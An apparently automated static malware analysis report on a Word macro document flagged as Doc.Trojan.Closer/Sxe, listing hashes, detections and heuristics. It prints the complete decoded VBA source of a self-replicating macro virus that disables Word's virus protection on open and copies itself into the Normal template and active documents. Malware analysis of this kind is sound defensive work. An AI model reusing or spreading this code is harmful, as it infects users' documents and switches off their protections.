Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c57fcd4e29b65646…

MALICIOUS

Office (OLE)

38.5 KB Created: 2004-11-01 07:43:00 Authoring application: Microsoft Word 8.0 First seen: 2012-10-03
MD5: 9909698c0faa475a1fcc8b14e3b13c39 SHA-1: dda38b0a01fd6bc83120a922f7717942625558ce SHA-256: c57fcd4e29b65646a640dc41a77e386f62e70812f9b346b2947254dfabb76c1b
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro, which is a strong indicator of malicious intent. The macro attempts to export itself to 'c:\windows\system\no32close.sys' and then import it into the Normal template or the active document, likely to establish persistence or facilitate further execution. The ClamAV detections 'Doc.Trojan.Closer-1' and 'Doc.Trojan.Sxe-1' further confirm its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.Closer-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Closer-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1671 bytes
SHA-256: 1f52baae89d439e83bb849c8a17e9441359a240682cf4d8eb2270cf95e94c2bd
Detection
ClamAV: Doc.Trojan.Sxe-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "sXe"
Public abc As Object
Sub Document_Open()
Set a = MacroContainer.VBProject: Options.VirusProtection = False: Set ab = a.VBComponents("sXe"): Set abc = ab.codemodule
InsertCode
Hidden
abc.deletelines 27, 16

Rem Set ado = ActiveDocument.VBProject.VBComponents
Rem Set nt = NormalTemplate.VBProject.VBComponents
Rem z$ = "c:\windows\system\no32close.sys"
Rem n$ = "sXe"
Rem Application.VBE.ActiveVBProject.VBComponents(n$).Export z$
Rem ai = 0
Rem ni = 0
Rem For j = 1 To nt.Count
Rem If nt(j).Name = n$ Then ni = 1
Rem Next
Rem For h = 1 To ado.Count
Rem If ado(h).Name = n$ Then ai = 1
Rem Next
Rem If ni = 0 Then nt.import z$: NormalTemplate.Save
Rem If ai = 0 Then ado.import z$: ActiveDocument.Save

End Sub

Sub Hidden()
Set ado = ActiveDocument.VBProject.VBComponents
Set nt = NormalTemplate.VBProject.VBComponents
z$ = "c:\windows\system\no32close.sys"
n$ = "sXe"
Application.VBE.ActiveVBProject.VBComponents(n$).Export z$
ai = 0
ni = 0
For j = 1 To nt.Count
If nt(j).Name = n$ Then ni = 1
Next
For h = 1 To ado.Count
If ado(h).Name = n$ Then ai = 1
Next
If ni = 0 Then nt.import z$: NormalTemplate.Save
If ai = 0 Then ado.import z$: ActiveDocument.Save

End Sub

Function InsertCode()
For i = 8 To 22
m = Right(abc.lines(i, 1), (Len(abc.lines(i, 1)) - 4)) & vbCr
co = co & m
Next
abc.insertlines 27, co
End Function